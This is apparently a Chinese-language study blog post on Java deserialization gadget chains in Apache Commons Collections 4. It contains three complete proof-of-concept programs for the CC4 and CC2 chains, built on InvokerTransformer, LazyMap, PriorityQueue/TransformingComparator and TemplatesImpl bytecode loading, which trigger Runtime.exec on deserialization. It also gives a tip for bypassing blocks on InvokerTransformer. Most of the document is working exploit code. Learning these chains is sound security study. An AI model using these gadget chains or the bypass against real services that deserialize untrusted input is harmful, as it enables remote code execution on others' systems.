CommonsCollections4.0中仍然存在3.2.1的反序列化链,把LazyMap.decorate()改成LazyMap.lazyMap()就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package com.potato.Commons_Collections;

import com.potato.Tools.Utils;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

public class CC4 {
public static void main(String[] args) throws Exception{
// Class.class.getMethod().invoke();
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
});
// chainedTransformer.transform(11);

HashMap<Object,Object> hashMap = new HashMap<>();

// hashMap.put("11","111");

Class<?> c = org.apache.commons.collections4.map.LazyMap.class;

LazyMap lazyMap = org.apache.commons.collections4.map.LazyMap.lazyMap(hashMap,new ConstantTransformer(11));
// LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(11));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,1);

// TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,1);

HashMap<Object,Object> hashMap1 = new HashMap<>();

hashMap1.put(tiedMapEntry,"1");


Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
lazyMap.remove(1);

// Class<?>

Utils.serialize(hashMap1);
Utils.unserialize("obj.ser");
}
}

利用优先队列

我们查看ChainedTransformer类中transform方法的用法,找一个新的,位于org/apache/commons/collections4/comparators/TransformingComparator.java中的compare()方法

选这个的理由在于该类也是可以被序列化的

image-20241115211312233

我们继续查找compare()方法的用途,也是要在readObject中调用了该方法,比较难找,即在优先队列(PriorityQueue)中

在该类的readObject中调用了一个heapify方法

image-20241116152136878

我们跟进去,对该函数调用的方法继续跟踪,知道下面这个函数为止

image-20241116152345079

调用了compare方法,也就会调用上transform方法

这样子的话我们就有了一条新的链

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Cc4 {
public static void main(String[] args) throws Exception{
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
});
// chainedTransformer.transform(11);

//避免在序列化的时候就谈计算器
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

//队列中需要有两个值才可以执行到readObject中heapify()方法中的for循环区域内
priorityQueue.add(1);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, chainedTransformer);

// serialize(priorityQueue);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

其中chainedTransformer中的内容也可以换成CC3中的InstantiateTransformer类,绕过InvokerTransformer类被禁的情况

CC2

其实就是CC4和newTransformer()方法的拼接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Cc2 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
//add的内容为对象templates,是为了满足compare方法中this.transformer(invokerTransformer)的transform方法的参数
priorityQueue.add(templates);
priorityQueue.add(templates);

Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, invokerTransformer);

// serialize(priorityQueue);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

该链如下:

image-20241116164811657